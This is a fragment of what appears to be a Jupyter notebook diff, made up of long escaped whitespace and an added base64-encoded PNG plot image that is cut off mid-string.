\r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n         \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n         \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n        \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n        \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n        \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n        \r\n      \r\n     \r\n    \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n      \r\n    \r\n     \r\n      \r\n    \r\n    \r\n     \r\n     \r\n      \r\n      \r\n      \r\n      \r\n          \r\n     \r\n      \r\n      \r\n      \r\n      \r\n          \r\n     \r\n    \r\n     \r\n      \r\n    \r\n    \r\n     \r\n     \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n               \r\n     \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n                 \r\n     \r\n    \r\n   \r\n  \r\n \r\n  \r\n   \r\n    \r\n  \r\n   \r\n",
+      "image/png": "iVBORw0KGgoAAAANSUhEUgAAAXkAAAD8CAYAAACSCdTiAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1+/AAAADl0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uIDIuMi4zLCBodHRwOi8vbWF0cGxvdGxpYi5vcmcvIxREBQAAIABJREFUeJzsnXdYFFf3xz9DEVSKKFjoWLBgB0vsLSYaY0lMYoqJ8Y2masqbYsxPo6a+6TFVoykmxtg1xhI1sUSNFSuiolIEEVApFlDK/f1xWVlgqVuB+3kenmFnZu+cHYbvnjlz7jmaEAKFQqFQVE/srG2AQqFQKMyHEnmFQqGoxiiRVygUimqMEnmFQqGoxiiRVygUimqMEnmFQqGoxiiRVygUimqMEnmFQqGoxiiRVygUimqMgzUO6unpKQIDA61xaIVCoaiyHDhw4KIQwqsi7zGJyGuaVg+YB7QFBDBeCPFvSfsHBgayf/9+UxxaoVAoagyapsVW9D2m8uQ/BzYIIUZrmlYLqGOicRUKhUJhBEaLvKZpbkAfYByAEOImcNPYcRUKhUJhPKZ48NoUSAF+0DTtoKZp8zRNq2uCcRUKhUJhJKYQeQegM/CNEKITcA2YUnQnTdMmapq2X9O0/SkpKSY4rEKhUCjKwhQiHw/ECyH25L9ehhT9Qggh5gohwoQQYV5eFXo4rFAoFIpKYrTICyEuAOc0TWuZv2ogcNzYcRUKhUJhPKbKrpkELMzPrDkLPG6icRUKhUJhBCYReSHEISDMFGMpqh/nzsHevXDvvZV7v65DpaaZziaFoqagyhoozEpeHoweLX82bKj4+69fh969Yfx409umUNQElMgrCjF9OrzzDmRnm2a8BQukF+/mBk8/DVlZFXv/c8/Bzp3w449w8qRpbFIoahJK5BW32LMH3noL/u//oFcviIoybrz0dJgyBbp3hyVLICYGfv21/O9PSYGffoJHHwVnZ/j4Y+PsUShqIkrkFbd4801o0EB6zVFR0KmT9MQry8yZkJwMX3wBgwdD+/bw2WcFMfayWLdOhnsmT4Z7xlxhyeoMcnMrb49CURNRIq8A4OZN+PNPeOIJeOwxOHoUOneGxx+H1NSKj7d9uxT0iRMhLEw+NH3hBTnus8/CjRtlj/H779DE9wZfJzzBkiBP0ic05pFfXuRY8rGKG6RQ1FCUyCsASEyUy+bN5dLHB6ZNk570gQMVGystDcaOhWbN4KOP5DohBD69/6LL66/xzYlpNBv7Ee/9+R0xaTG33peVJePvH34Io0bBmo0Z2I0dyvcH5/NImyfg+L0sifmSdt+0I3RuKF/s+YLcPOXaKxSlYZV68grb4/x5ufT2LlgXlp8Uu38/DBpU/rGefRYSEqRgu7hAnshj4pqJzD84H4faDmh9c0lAMHU3zNpbh2e6PsWZQ76s+esiebVSwTmNOl6p1Ho+kqRaCSwYsYCxHcayfybUz/yEe2cs4qfDPzF5w2Ts7ex5psszpjsRCkU1Q3nyCkCKMkgPXoeHh/TG9+0r/zi//ip/3nwTunWT697a9hbzD85nSs8pZEzJIGd6DoceSMdn1XFqJ97O7D1fsDrrJcRtH+DWfSlNe+0npMslerVqxdqH1zK2w1gAhgyBnZu8aHNlMgcmHqBT407MPTAXUd4gv0JRExFCWPwnNDRUKGyLzz8XAoRITi68fswYIfz9yzdGYqIQ7u5C9OghRHa2XBd1KUrUequWGLNsjMjLyyu0/8cfy2M2aJglWna4LK5cyTMwagHp6UK0bSuPEREhxNd7vxbMQOw+t7u8H1OhqNIA+0UF9VZ58gpAhmscHWV2jT5dukBcXEE4pzTeeguuXYMffgAHB+lATFo/CSd7Jz4Z/AlakSmrjzwi97uU7MT8rzxwcSl9SqubG6xdC7Vrw113waBGD9GgdgMeXfUol65fquhHVihqBErkFYAUcW9vsCtyRQwZIpeLF5f+/lOnYO5cmDABgoPluhWRK9hwegOz+s+iiWuTYu9p2BBefBFefx169iyfnf7+sGYNJCXB2PvdWTxqFbFpsXT5rgujZ79Nv6kf8duhlRxNOsr17OvlG1ShqMZowgrxzLCwMKF6vNoWAwdCZibs2lV8W9euMsXy0CHD783Nhb59ISICIiMBlwvM3DqT78K/I6RhCAcmHsDBzrTP+H/7DR58UE6y8u62k0dXPcrZ1LOF9qnnXI9///MvrTxbmfTYCoW10DTtgBCiQnXClCevAAo8eUOMGweHD5cs8r/8IjNpPvk0l+9OvkXz2c2Zd3AeT4c9zeaxm00u8CDDNQBnz0JP/5780jUK3s7kscTLuC/eh/PaX7l+4wYf7PzA5MdWKKoSSuQVgBR5/cwafcaMgVq15ExYQ3z9NbRqk81m10eZvnU6dza/k+PPHOeLoV/gVdc8DWJcXWX2T2x+7/qVK+xwwJlP3/PgyIYwOtg9yM09/+GXI79w/ko5HigoFNUUJfIKrl6FjAzDnnxuXi6rY3/AY9IdfJv0KEuPrSLjRsat7eHhsPdUDDcfGsCvx37l3QHvsuz+ZbRo0MLsdgcESJEPD4c5c2TpBA8PGbf/9FNg92Sy87JZfKyMBwoKRTVGTYZS8O+/ctm6dfFtL/35ErP3zsbbswU37A5y//KfAfCs40lTj6bEnakDz+4mSbPnl1G/8HD7hy1md0CArLEzahTUqwfffFOwzccHuNwCb4cQ/oj6gxdve9FidikUtoQSeQUrVkDdunD77YXXf7v/W2bvnc3z3Z7nw4Gf0r1HLlG5m3noxSNcdzpLTPoZklKu08bzMTY8+wZ+7n4WtTsgQNa3EUJm9vj7F2xr0kTWywnMHsb22I9Jz0rH3dndovYpFLaAEvkaTm4urFwJQ4fK/HMdH+78kFc3v8rQFkP58PYPcbTXWPizA2FhdzLn0TsBsLcHTcDvp8DPCvoZEFBQ0bJHj8LbHB2hcWOon3w3OY3+x59n/uT+kPstb6RCYWWUyNdwtm+XOef33CNfCyGY+tdU3t/5Pg+EPMCCUQtwtHcEoFUrGR45eBCio2VmS4sWsvSBNQgIkEt3d8OhJh8fuHG2G3V96/JP7D9K5BU1EiXyNZx582Q8e8QI+fq1za/x4a4PeTL0Sb4a+hX2dvaF9m/SRP7YAjqR7969+CQuAF9fOH3aga4+XdmdsNuyxikUNoLKrqnBXLoEy5bJssC1a8ONnBt8ufdLHmz7IN/c9U0xgbc1goKkuPfqZXi7jw/Ex0N33+4cunCIzOxMyxqoUNgASuRrMN99J2eyTpggX+87v4/MnEweCHmgWJ0ZW6RBA9i6VTYjMYSvr6xt39GzOzl5OYQnhlvUPkX1ZdYsOSHv7Nmy97U2SuRrKJmZMpf8jjugXTu5bmvMVjQ0egf0tq5xFaB3b1mz3hC+vvlLZM3jf+P/tZBViurM9euyGc66dbIciK1XulYiX0P58UfZf/X11wvWbY3ZSvtG7alfu77V7DIluhm8WZca4evmy+Gkw9Y1SFEtWLMGrlyRyQoxMTIkaMuYTOQ1TbPXNO2gpml/mGpMhXnIyZEt9rp3hz595Lrs3Gx2ndtF34C+1jXOhOjy5uPiIMQrhOMpx61rkKLKIwR8/710IF56Sa6raHtMS2NKT/55INKE41U5MjJg8mSZsXLtmrWtKZklS2QK5OuvywlDAEeSjpCZk0lP/3LW/K0C+PnJzxcTA2282hCZEkmeyLO2WYoqzLx5sHGj/D/v1Ek++A+38Uc9JhF5TdN8gbuAeaYYryqSmysLeX3xhXyQ2aED7NhhbauKIwS8/z60aQPDhhWs18Wru/t2t5JlpqdWLelxxcRITz4zJ5PYtFhrm6WoYggBf/0layNNnCjj8P/9L9SpI+dn1AiRBz4DXgVqrJu0eTOsXw+zZ8sLIi9PhkJefhmysqxtXQHr18PRozBlSuHc8t3xu2ni0gQ/N8uWJjA3gYEFnjxAREqEVe1RVC0iImQ/hUGD4MgReO89WLVKzvYGCA2tASKvadowIFkIUWpkStO0iZqm7dc0bX9KSoqxh7U5jueHex98EAYMkBfEk0/Cxx/L27qKNMM2J99+K8MYY8YUXr87fje3+d1WJVInK0JgoAxNtfaSU2JVXF5RXiIi5ByM+HhZ5TQmRjpH+tlcvXtDYiJ8+aXVzCwTU3jyPYHhmqbFAL8BAzRN+6XoTkKIuUKIMCFEmJeXeWqMW5OoKDlzVNcj1cVFVkX8809Zyrd/f1k+wNocPizvMBwdC9ZduHqBM6ln6ObTzXqGmYmgIPlPWte+Ht6u3hxNPmptkxRVhOXL5TyLf/+VYRpn5+L7PP44DB8Ozz8v+w/bIkaLvBDidSGErxAiEBgD/C2EeMRoy6oYUVGyt2lRR3jwYBm+ycyED6zcpOjqVZlpUrTOy9pT8uq8o9kdVrDKvAQGytBZfDz08u/FpjObyM3LtbZZiipAXJwschcYWPI+9vbw66/QsSM88EDJ3dOsicqTNxFRUbJYlyGCg+Hhh6VnHxNjUbMKceKEXLZpU3j96pOrCXAPoH2j9pY3yszo/kGjo2FUq1EkXUtiT8Ieq9qkqBrExRUuX10SdevK3HkPD5nMkJhoftsqgklFXgixVQgxrOw9qxdZWfKCKEnkAd5+W37rT5xovRlykfkJrvqe/PXs62w6u4nhLYdXu3g8FBb5Ic2H4GjnyMrIlVa1SVE1OHeubJFffGwxbb9uS/fF/lx7xouERzx45Lu3EDY0DVZ58ibgzBkp3KWJvL8//O9/sGmT/Na3BsePg4ND4dLAm89uJisni+Eth1vHKDOjK20QHw/uzu4MbDqQlSdW2tQ/ocL2EKJsT37NyTU8tOIhHOwcGNh0IA+2vx+Xy734W0zn4RUP20xBPCXyJiAqSi6Dg0vfb8IEmdnyySfmt8kQkZHSRv2HrqtPrMbdyb1azXTVp1YtaNgQEhLk65EtR3Im9UyNS6WMj7etVF5b5/JlWaOmNJF/c+ubtGzQkp3jd/LDiB/46q6vGJ3zO3V2vceiY4vo/1N/Lly9YDmjS0CJvAmIjpbLpk1L38/RESZOTmdb5FFeeS+K6KSLZOdmm9/AfI4dKxyqyc3LZc2pNQxpMeRWY5DqiI9PgciPaDUCDY1VJ1ZZ1ygLsmePvMu8/XZZdVRRNnFxculXwrSR8MRwDl44yLNdnqVurbq31nfvpnF94xS+7rOCo8lHGbRgEFk51v12VSJvAhISZHqVh0fJ+2TnZvPaptd483p9eKY9H90Mpum3XtR6uxZ133EhdG4oX+/72myZH+npMqzUqVPBum2x20i5nsKIliPMckxbQV/kG7s0prtvd1aeqBlx+ehomeLn6ipnYOvqrViCtDTpEVdFdCJfkic/P3w+zg7OxRrXd8+fMJ4bMYolo5cRkRLB02ufZv/5/dzIuWFGi0tGibwJSEiQQlLac8tn1j7DB7s+YFyHcSwevZiZHX6mc9JstK2zyNwxkXOx9jy77ll6/9CbqEtRJrdRl9oVGiqX8RnxjF05Fj83P+5qcZfJj2dL6Is8yCyb8MRw4tLjrGeUBcjMlDXPs7Phn3/kVPyvvpIVSC3BmDGylHVVpDSRF0Kw6uQqhgUPo55zvULbQkKkszdpEqz+aAiTuk7ix0M/0uW7Lri+50rY3DB2xFm23olq/2cCzp8vKGtriIVHFjLv4Dym9prKOwPfkStDYPpIeTF98gl8/p4g6O5FRDo/S+uvWhNQLwB/d3/83f0J8Qqhm083uvh0oY5jnUrZqJt63akTZNzI4K5f7+LKjSvsHL8TVyfXSo1ZVfD1hYsXZUza2RlGthrJq5tfZdWJVUzuNtna5pmNzZvlc5iVK6FlS1mz6OBBeOopaNsWwsLMd+ysLNnQ5cYNaYOhHry2zLlz4OQEhuZtHrpwiPNXzht0jhwc5ITDadNg/nw48crnvHTbS+w/v//Wj7uThbveCyEs/hMaGiqqE82aCTFmjOFt2bnZIuizIBE6J1Tk5OaUOMYPPwgBQsxbEi/e+OsN8dDyh0Sv73sJ3098BTMQzEDUf89LzDswT+Tm5VbYxkceEcLHR9pz5y93CvuZ9uLP039WeJyqyPffy3N75kzBupCvQkS/H/tZzygL8NJLQjg5CZGZWbAuJUUIf38hAgOFyMoy37G3bZPnHISYNs18xzEXjz4qz5Mh3t72tmAG4sKVCyW+PzFRnvsJEwqvj4szzi5gv6ig3qpwjZEIURCuMcRvx34jOi2aaX2mldoz9ZFHZGPq7z72YaD2Nh1OL8Rt2T9kzDgHHyTDr79zNTaYJ9Y8QZuv2vDQ8of4v7//jx8O/kDyteQy7QwPh86d4Y2/3mDD6Q18O+xbBjcbXNmPXaXQ/W30QzbDWw5ne+x2rmdft45RFmDrVrjttsLT8T09Ye5cOSnvp5+MG3/pUnjmmcIPc4WQ9dVXrZLhy9AuOSxebp1YtDFcvGjYiwdYG7WWMO8wGrk0KvH9jRvLcNXSpbJ/A8DixdC8uRVSqCv6rWCKn+rkyV+6JL2VTz4pvm3zmc2i7jt1RYdvOpTL+/722wLvB4Ro1UqIiRPl+g8/FALyxOTvFoqBPw0UQZ8FCfuZ9oIZCOe3ncW7298VeXl5BsdNSxNC04T4vxnXhdt7buLBZQ8a+7GrFMeOyfO5aFHBuh8P/iiYgTh96bT1DDMjly/Lv/mMGcW35eUJ0aWLEC4uQjRvLkR0dMXHT0oSws1NntdHHpHH++47IUJC8q9fu2xR/9EnhcObzoIXAkRyxmWjP5Ml6dJFiDvuKL4+5VqK0GZo4s0tb5Y5xtKl8lz884+8U7ezE6JXLyHS0ytvF8qTtzw677CoJ7/6xGqG/jqUII8g1j+8Hjut7FP95JMyfrl+PVy4IH+fM0euf/FFCAzU2DL7IR6338yU2md50z6Tx7MO07vhMKb+PZUXNhjuaL1rV/4s21a/k3Ejgyc6P2Hkp65aGPLkm7g2ASDxqo3NQTcRW7fKv3m/fsW3aZqsjtqli3wmpF9T6cQJGDdOFtSbM6fk8WfOlHnkEybAL78I6gedY8K7f5HW4mv6/e956r/Sg8tN59C5zj3gmsCEVc+Z+BOal5QUw578htMbEIhyJSvcfruc5T55sixkNnAgbNgAbm5mMLgU1INXIzEk8j8f/pnHVz9OqHco6x9eX6Geqa1ayZ+i2NvLWtYTJsjQjsQRO7v22DssYegnk5i9dzb3tL6HvoGFJzb98498ILT3xk/4uvnSL7BfhT5jVcfdXTZ40Bf5xi6NAWxisoo5WL1aVkXt0cPw9t694e+/5fX0/feyPPbS5TksWX8ep4bnqNfqME/9epmsgPb06eBHpyYFubfZ2bBoEQwct4vkAR/g7LeZrDzZCi0BSM91IbhpMO92/pamqU8y+J1gVtvP4M/Tj3JH86qRbnPxogxtFWVd1Doa1m1IqHdomWO4u0PPnrB9u0xjXbzYcCVLc6NE3kjOn5dLb2+5vJx5mfG/j6d3QG9+H/O7STNXxoyBkSPh9GmZptWggWwoPGCAxqmvPiDoyXU8s+4Zjjx1pFD8/59/oGX//WyMXs/MfjPLdVdRndA0OetVv41BExfpyVdHkc/JkXHfYcMKz24uypGkIyT0eJtch1ju+zcBghOhVR43AF1V7Bf2AHvgvhbjGNPpbuo51+P4IRdSuyxhk++nNExoyPjOj9G2YVtaerakZYOWeLt636qDFBUF7JhCo9sXMmn9JI4+fRQnBycznwHjyMqSFVuLevJx6XH8ceoP7m1zb7n/h2bOlF+m06aV/rcwJ0rkjeTcObnUifw/sf+Qk5fDrH6zzJKa6Ows09/0X0+dCg89VIdXPd7ng+gHWByxmIfaPQTIC3bP3jyavPoaDWo34IXuhkM61R0vr8Ii36BOA+w1exKvVL9wzZYtchLSqFEl77Po6CL+8/t/qONYh37dQ7G/HkJbf19aNvbD392flp4tmfNZfd6fdwJarWQp77M06seCAbrb8Ui7cXx512elXuf+/kCuE4NyZrPw8hA+3f0pU3pNMdlnNQcXL8qlviefnZvNg8sfRCCY2mtqucfq189wyMySKJE3ko0bZT9Xp3znZGvMVpwdnOnq09ViNoweDa+8AidWjKb9ne15dt2zbDq7icFNB+OQ3IXs2z8hzuFvvu7/NW5OFg4I2gheXvI5hw47zY5GLo2qnSd/7JgM5zVpYngiUkxaDNO3TOfnIz/Ty78XS+9beit0VZR3psOkiV257bauhNR/nrc+TeKL79JYsDiNu7q25aeZzQy+Tx8nJ+kAOcbcycg7R/LW9rd4uN3D+LnbbptJnTOg78lP3zKdXed2sejeRbRoUEolQhukZt23m5j4ePlQ8777CtZtjd1KD78eFr0ldXSUPSh3/2vHzyN/YXCzwfx+8nceWvEQ9+9oAV2+YULbl3gq7CmL2WRrNGwIyUUyTZu4NKkWD14XLoT9++UknP795fOXLVtknXMdSVeTmLx+MsFfBLMkYglTek7hr0f/KlHgQfYA9vaWjW92/tmY5x/owE8z+zK26wh+/bJsgdeh67P76R2fkifyeHnTy5X/sBZAJ/I6T37D6Q28v/N9JnSewJi2Y0p+o42iRN4IVqyQS53Ip2amcvjCYfoF9LO4Ld27SxFzzWzH4tGLSX45mb1P7KVbytc0WLafb0d9VC3rxZcXXbhGv8JwY5fGVd6TDw+XnvvAgfLhqbMzbNsmZ7jqSLmWQsc5Hfl639eM6ziO05NP896g96hlX6tcx7jjDsjIkH2LFy6U+fWuFYhEBgZCbCwE1gvk9V6vsyRiCTvjdlbsg1oQXbjGy0t+OY5dOZa2Ddvy+Z2fW9ewSqJE3giWLoV27QpKDO8/vx+BoIdfCSkNZkRXGGn3brm0t7Oni08XMv5+mh5BodjZ1VyBB/kPe+OGfKCmozp48lOnQv360mt3cZEC37x5wXYhBE+tfYrLmZfZ/cRu5t49F1833wod4+67ZUmEQ4fgoYcqbmNgoEzVzMmBl26TFdL+jv674gNZCP1wzaoTq7h4/SILRi6gtmNt6xpWSZTIV5Lz52HnThkP1xGeKAvEdG7S2eL2tG0r0wR1Ig8y8+bECZkPXdPRxVf1H742dmlM8rXkKtfzVTfL+tQp2Sj+lVdkLP7o0eLlrhceXciKyBW81f8twrwrV6zGyQlee63sUtol0bw55ObKipgutVwIcA8g8mJk5QazABcvylCVhwfsSdiDZx1POjbuaG2zKo0S+UqycqX8Z9OPx4dfCCeoXhAetUupOWwmHBykmO/Uuwv+4ANpY69eFjfH5jAk8k1cm5An8ki5nmL4TTbIzZtyYo2vrywpALJ/cP36xSfZXLx+kefWPUdPv57897b/Wt7YfHTzPnQ9hlt7tbZpkU9JkenJdnZS5Lv5dKvSoU4l8pVk6VLZEFu/ul54YrhVvHgdAwfKGG1KivwSevttGD/e+ilctkBJnjxUnVz59HQYOrQgJv7XX9CtW8mNLZZELCH9RjpfDv2y1LpJ5kb3fODkSbls7dmakxdPkifyrGZTaSQlyYeuGTcyiEyJpJtPN2ubZBRK5CtBUpKcxaYfqknPSuf05dNWFfkhQ6Tn/vnn8Oij0LWrrB9ehZ0Qk2HQk69CE6Li4+Ud2bZtsh787Nly/b33lvyeJRFLaO3Zmg6NOljExpKoX1+e/1uevGdrMnMyiU2LtapdJXHypOykpXvGZsl0aHOg8uQrwYoVUkz1Rf7QBdmVo1PjTiW8y/x07iw9kHfekSmDy5dbZxq1LVKaJ18VJkS9+KJMQ1y/XqbL5ubKL2/9a1CfxCuJbI/dzvS+020i1NCqVYEn38pTxm8iL0YS5BFkRauKc/OmnKU7cqQUeYAuPlX7oZby5CvBsmXyFlR/5umx5GMAtG/U3kpWyRjikCEyPr9smYzbKiR168ovPP1c+aoSrsnLk3nvo0dLgQdZy+ixxwrnwuuz7PgyBIL7Q+63nKGl0KpV4Zg8QGSK7cXlT52SWUAhIbLsg6+bb4VqT9kiSuQrSG6unAB1552FwyDHU47j5uSGt6u39YxDVhfcu1cWoFIUoGnFSxvUdqyNu5O7zadRnjgBly5Bnz7lf8+S40to27AtbbzamM+wCtCypcxauXQJPOt44lnHkxMXT1jbrGJERMhlSAgcTT5qVafNVCiRryCxsbIejL4XDxCREkGIV4jVb429vAo361YU4O1dUFBOR1WYEPXPP3JZ3i/uhIwEdsTt4IGQB8xnVAXRZdjoP3y1xQybiAh5R9ysRTaRKZG0a9jO2iYZjdEir2man6ZpWzRNi9Q0LULTtOdNYZitcvy4XLYp4iBFpETYjNekMExgoMzV1qeJq+1PiNq+XdaiaVaOSgI3cm4weYPsW2sroRooyLDRf/gaeTESoT8FuRJkZRWexWwsx4/L8xx77STZedlK5PPJAf4rhGgNdAee1TSt2qqdIZFPuZbCxesXCfEKsY5RinIRFCRnXubqzX2qCp78wYMyVbKsm8SrN68ybNEwVkSu4OPBHxPcINgyBpaDwECoVUvPk/dqzeXMy0bNUcjKklUu580zjY3R0bLgYJcucDTpKGDdZ2ymwmiRF0IkCiHC83+/AkQCJXQ8rfocPy5v++vVK1gXkSIDeSENlcjbMkFBsuGFfsimiUsTm86uyc2V/QP0a9EY4uL1iwxcMJAt0Vv4ccSPt8oH2AoODjItUd+TB+Mevh4+LJ+xHDhgvH05OTB2rPwiffdd+dDVwc6Blp5lnPgqgElj8pqmBQKdgD0Gtk3UNG2/pmn7U1KqzgzDohw/XjxUczxFuvcqXGPbBAbKpX7IprFLY65lX+PqzasG32NtYmPlF1NwGU75/Uvv5/CFw6x4YAWPdXzMMsZVkJYtC3vygFFxeZ24x8QYaRiyNs/OnfD11xAQAAcSD9CuYbtyF3GzZUwm8pqmuQDLgReEEBlFtwsh5gohwoQQYV4ltUG3cYSQfVeLxeOTI3BzcsPHtdrewFQLgvJTsouKPNhuGqVOFEvz5KMuRbElZgsz+81keMvhljGsErRqBWfOyC8tPzc/6jrWNcqT3y/T2Ik1ck7V3r0wYwY8+KAsESHq85Z5AAAgAElEQVSEYP/5/ZWu9WNrmETkNU1zRAr8QiHEClOMaYskJ8sqhvpV/gCOXzxOG682Vs+sUZSOv7+8HdcXed2sV1sN2Zw6JZelefI/H/kZO82OsR3GWsaoStKqlQyLnDkDmqbRrlE7Dl44WOnx9EW+sg9fs7JkqWZvb+nFA0SnRZOalapEXocmlW0+ECmE+MR4k2wXncegu+3XEZEcoR66VgGcnGTDdf3b+yauUuTPXzlv+E1W5tQp+fzHUFNpkF7nwqMLGRg00OpzNMqiaA2bLt5dOJB4gJy8nAqPdf26DJ02aACZmYXnP1SEbdvkDNfZswues+lmuiqRL6AnMBYYoGnaofyfoSYY1+bQiXxAQMG6lGsppFxPUfH4KkLRNEpdiM2WRT44uOTMmqjLUZxNPcs9re+xrGGVoGgaZVefrlzPvl6pkE1kpHwofddd8nVl4/K7dsm8+AEDCtbtP7+fWva1aNuwbclvrEKYIrtmhxBCE0K0F0J0zP9ZZwrjbA1DIq976Ko8+apBUFBhka/nXA9nB2cSriRYz6hS0Il8SWw8sxGA25vebiGLKo+7OzRuXODJ6wp/7U3YW+GxTp+Wy9vzP3Zl4/L//isb/+iXaf47+m/CvMOqxUNXUDNeK0RsrLxQ3d0L1unSJ5UnXzUICpIVHW/elK81TcPH1ccmRT4zU+b1lybym85uoqlHU5rVL3/PVWuiX8Omef3muDu5V0rko6LkcuBAuayMyOfmwp49cNttBeuiU6M5kHiAUa1GVXxAG0WJfAWIiSnsxefm5TIvfB5+bn4VbqmmsA5BQfIhXVxcwTofNx8SMmxP5HXeakkin52bzZboLVXCi9ehE3khwE6zo4tPF/ad31fhcU6flg9LmzSRpYwXL4Zz5yo2xvHjsndtD71uncuOLwPg3tal1HCuYiiRrwCxsYVFfs6BORy8cJCPBtfsJtlVCV0apX4M18fVxyZj8mVl1hxOOsyVm1foH9jfckYZScuWkJpa0Cy7q3dXjiQdITM7s0LjREXJyVUAX3whY/Tt2sGCBeXPtAmX3TpvtccMTwzn8z2fE9ok1OZKIBuDEvkKEBtbkFmTci2FN/5+gwFBA7ivzX2lvk9hOxiaEOXt6k3ClQSj66iYGp3I68SsKDvidgDQy7/q9Hcs2gqwq09XckVuhVMpo6IKUpkfekjOfm3XTpZfHjeufGMcPy5LLTRrJph7YC495vdA0zTmDJtTIVtsHSXy5SQtTd7a6Tz5KZuncPXmVb4c8qXy4qsQvr5yin3RDJusnCxSs1KtZ5gBTp2SIQkXF8Pbd8TtILBeID5uVWcSnu6uRBdT1zXk2JdQ/pBNerpMmdT/8mvWDLZuhaeflt78hXLMbTt+HIJb5fDE2nE8+ceT9A3sy8EnDxLqHVpuW6oCSuTLiS7e5+8Pu+N38/2h73mx+4u3pmcrqgb29vJvWEjk80XS1uLypWXWCCHYEbejSnnxIL+0oECEvV298XH1Ye/58j981T2r0Il8dGo0Px/+mZnbp3Oq/RgYNZbl28quVR8RAbV6zGXB4QVM6zONdQ+tw7NOCRMSqjCq/V85iY+XSx8feOnPl/B29WZan2nWNUpRKYKCisfkQebKt2tkO6VlT52Ce0pIfz+Teoaka0n08qtaIu/sLNMVk5IK1nX16crf0X+TcSMDNye3kt+cT2R+Wn1wsLybGfzzYDJzMrHT7Ah0D4KWKTwfuYQGx35iTNsxCFF8nsG1axCdmE5S4zfpH9ifmf1mVts7ciXy5SQh38lzqp/Mv/H/8s6Ad3B1crWuUYpKERgIf/xR8Fo3U9SW0igzMuTDyZJqyFfFeLyORo0Kh1P+e9t/6fNjHyatn8RPI38q8/3HjoGjI/g1vU6fL4bj5+7HsvuW0dKzJbXsa9GhRzKx3Ubz4PIHeXnDFC7EO+Ph5Em/TgG08AogwD2AmykBcO/nZJFa7RMnlMiXE53IR93cDsCAoAGl7K2wZYKCpCd5/TrUqaMn8jYUrtGVQy6pT+/OuJ14OHtUyXBho0aFPfme/j35v97/x6ztsxjSfAhj2o4p9f3HjskHuNvP/UVqViqLRy8udAfWu3NDzvywkY/WzGPWjzvQMvO45JTCyn3/gvsSckV+GYUWMCPsOzo36WyOj2kzqJh8OUlIgIYNYUf8VlxquRDapHo9nKlJFE2jdHJwwrOOp0158jqnwruEcjQ7zu2gp39P7LSq9y9cVOQBpvWdRnff7jz1x1PEppU+s+noUdl+849Tf+Bay5W+gX0Lbe/fH66lO7Pjk+fI+P43Vj28hD3PbKHZH2fJnZnFU9fP4btxBwEb9zL1zidM/fFsjqp3hViJhATpVW2N2Uov/1442jta2yRFJakKufI6kfcxkDiTci2FExdPVLl4vA5DIu9g58DCexaSJ/J4ZOUjJRYty8iQE9nathX8EfUHdzS/o1j5geHD5cP1Vatkv+OhQ2UufHg4PDXRnm8/8CV+V0+++b8u2Nub61PaDkrky0l8PDQIPE9ESkSVmnyiKI6huvK6XHlbQReuMeTJrz65GoA+AX0saJHpaNRITojSlZbQ0dSjKV8N/YodcTuYe2CuwfdGyCoiODfdz/kr5xnWYlixfRwd4aX8xlgvvljw0LVuXfjmG1i7Fj7+GIYMMdUnsm2UyJeThATIDtgAwJDmNeTqqKY0aiSzPIrmyttSTD4hQdZIqlu38Prs3Gze/eddwrzD6O7b3TrGGUmjRnKZnFx82yPtH6FfYD+mb5lOambxeQu7dsnlCYfFONo5ltgk5ZlnYOVK2QSkKEOHFnwJ1ASUyJeDrCy4dAmS3dfh6+ZbbUqQ1lQ0zUDJYTcfkq8lk52bbTW79Dl/3nCo5ucjPxOdFs2MvjOqbEaITuSLhmxAFoz77I7PuJx5mVnbZhXaJgTMnw/duuex4dwS7mh+Bx61PQwew9ERRo6UZYRrOjXyFNy8KW8XSyMlRd7a9e0LtWsDdtlEa5sY0nxIlf3nUhRgKFdeIGymDWBCQvFQTXZuNm9vf5sw7zCGtqi6LRtKE3mADo078ETnJ/hy35ecvHjy1vqdO2WOfN9Ht3Mu4xz3t7nfAtZWfWqkyD/1lOwo07+/FPKiF9usWbK63TPPSLF3cgJarSJTZDCi5Qir2KwwLUXryttarnxCQnFPvjp48VC2yAO8PeBt6jjW4b8b/3tr3dy54Oom2FVrBo3qNqoSjVJsgRon8klJ8Msv0L27nJDxzDPSYxowADZvll7+Rx/JL4AjR+SDnqQkaPrwpzSt14w7m99p7Y+gMAEBAfJu7upV+dqWShvk5UFiYmGRry5ePJRP5BvWbci0PtNYG7WWNSfXkHIxl992b8Xv6afYEb+Nqb2nUrdW3ZIHUNyixk2GmjdPdov/4Qc5LToiApYskUWNbr8d7r4brlyB55+H5q0y2Xx2B78d+42z2f8yu/ts7O1qQM5VDaBBA7m8fFkWANOVNrAFTz4pSTa00A/X6Lz4L4Z8UaW9eJAPkxs0KHwnZYhJXSfx/cHvGbV4FLWpT/bDKZy1r83YkLFMDJ1oGWOrATVK5HNy4NtvpZjr+k22bSt/3ngD7rsP1qwROHZexCcXv2f0/3ZwI/cGzg7OPNflOSaETrDuB1CYDI/853WpqTKn2rOOJ84Ozpy5fMa6hiEdEZB3mzpWRK4guEFwlffideh3iCoJJwcndv1nF9O3vMmCZSk0v3gPh5YOUR58BalRIv/77zLf/auvim9Lz0nG7/FPsfPaTbb/Vs5fbcnTYU9ze7Pb6RPQB5daJdR7VVRJ9EUeZFZHn4A+bDizwXpGIdMKP/gA7r0XQvUmVZ+6dIoOjTtUeS9eR6tWsGZN2fvVc67HGPfP+eJ7+Hge1K0ebVctSo0S+S+/lLHYoUMFsWlx7EnYw574PexJ2MP+